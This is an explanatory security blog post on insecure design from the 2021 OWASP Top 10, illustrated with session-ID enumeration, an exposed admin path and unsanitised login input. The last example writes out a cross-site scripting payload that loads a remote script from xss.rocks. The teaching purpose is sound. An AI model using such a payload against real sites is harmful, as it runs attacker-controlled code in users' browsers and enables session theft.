When considering the security of a website or application, design is often overlooked. After all, it isn’t a traditional vulnerability. But the hesitancy to accept the design process as one of the Top 10 vulnerabilities is partially why it was added to the 2021 OWASP Top 10 list.
A new entrant into the 2021 OWASP Top 10, insecure design is often overlooked compared more traditional vulnerabilities like injection or broken access controls.
A smart design process can help prevent many problems and vulnerabilities along the way. Inclusion of threat modeling, secure development cycles, and other security testing in the development process can and will dramatically improve the native security of an application.
Additionally, with the effort put in upfront, the application will likely need less patching as significantly less vulnerabilities will reveal themselves throughout the life cycle of the application saving the owners both time and money.
What is insecure design?
At its core, insecure design is the lack of security controls being integrated into the application throughout the development cycle. This can have wide ranging and deep-rooted security consequences as the application itself is not designed with security in mind.
This can range from simple oversight into the added financial and time costs of accounting for secure development activities all the way to negligent design.
These oversights will leave the fundamental design and foundation of the application insecure opening the door for a plethora of security holes — often leading to the eventual disclosure of information or wholesale compromise of the application.
In any case, failing to specifically add and plan for secure development will inevitably lead to a much less security-minded culture and resulting application.
How to best implement secure design principles
Avoiding these flaws requires a security-minded culture and set of procedures. These can take shape in a variety of forms, but should include incorporating security testing, results, and solutions into team meetings. Additionally, it should focus on the use of a secure development lifecycle.
The regular inclusion and discussion of security-related activities in team meetings will create accountability for security. This puts a priority on finding and fixing any identified security findings. Additionally, adhering to a secure development lifecycle will ensure that security of the application is at the forefront of all developers’ minds and is considered throughout the development process.
There are many options for a secure development lifecycle allowing teams to find what works best for them. Using any reputable lifecycle, the security of the application will benefit as security will be formally thought through during all phases of development. Doing these in tandem will increase the native security of an application.
How attackers leverage an insecure design
Attackers may be able to leverage vulnerabilities created by not implementing secure design principles in many ways. Primarily, these will be seen in a lack of access control, authentication bypass, cross-site scripting, and other injection vulnerabilities. The three example scenarios below explore further how vulnerabilities like this could creep their way into the development process and be exploited by attackers.
Insecure Design: Scenario 1
The application was designed to use a unique identifier within the URL to manage sessions. This makes managing sessions very easy, and from a development perspective, is very simple. However, an attacker will be able to take the URL and fuzz or increment UIDs to enumerate any valid URLs and sessions.
This could be even more of an issue if each unique identifier is not a set of random characters but is, in fact, incremented.
An example of this is if a legitimate user was logged into the website https://broken-website/my-account/?id=123. An attacker could then simply take this URL and try https://broken-website/my-account/?id=124 thus leading to a different user’s session.
Insecure Design: Scenario 2
The application was designed to have the administrative portal accessible at https://broken-website/admin/myadmin. This is easily discoverable by any attacker and can be subsequently targeted.
Even if there is an authentication page asking for a username and password on https://broken-website/admin, without adequate protections an attacker could simply circumvent this by navigating directly to https://broken-website/admin/myadmin.
This may seem unlikely for an attacker to discover, but through directory brute-forcing tools such as DIRB, an attacker can try thousands of URLs and spider the entire webpage based off the responses given by the webserver.
Insecure Design: Scenario 3
The application’s login form does not adequately remove special characters that could break out and be interpreted as code such as <, >, ’, ” or =.
This oversight will allow an attacker to input valid code into the form which will then be interpreted as such by the webserver.
For example, instead of entering a username in the username field an attacker could input the following: <SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> which would go to the URL specified and run the script that is there. This script could be anything.
Conclusion
Insecure design has been added to the OWASP Top 10 list in 2021 because of how vital it is. Without a solid security foundation, most applications will suffer and require an endless stream of patches to keep them from being negligently insecure. By accepting that security is a necessity from the get-go, developers can save time, money, and data breaches by simply incorporating security into the development cycle.
Sam Schraff
Sam Schraff is an experienced security professional with a passion for penetration testing and demonstrated experience on a red team. Skilled in penetration testing, vulnerability analysis, remote social engineering, war dialing, reporting and client relations. Credentials and certifications include Comp TIA Security +, EC - Council C|EH as well as a Bachelor of Business Administration in Cyber Security from The University of Texas at San Antonio.
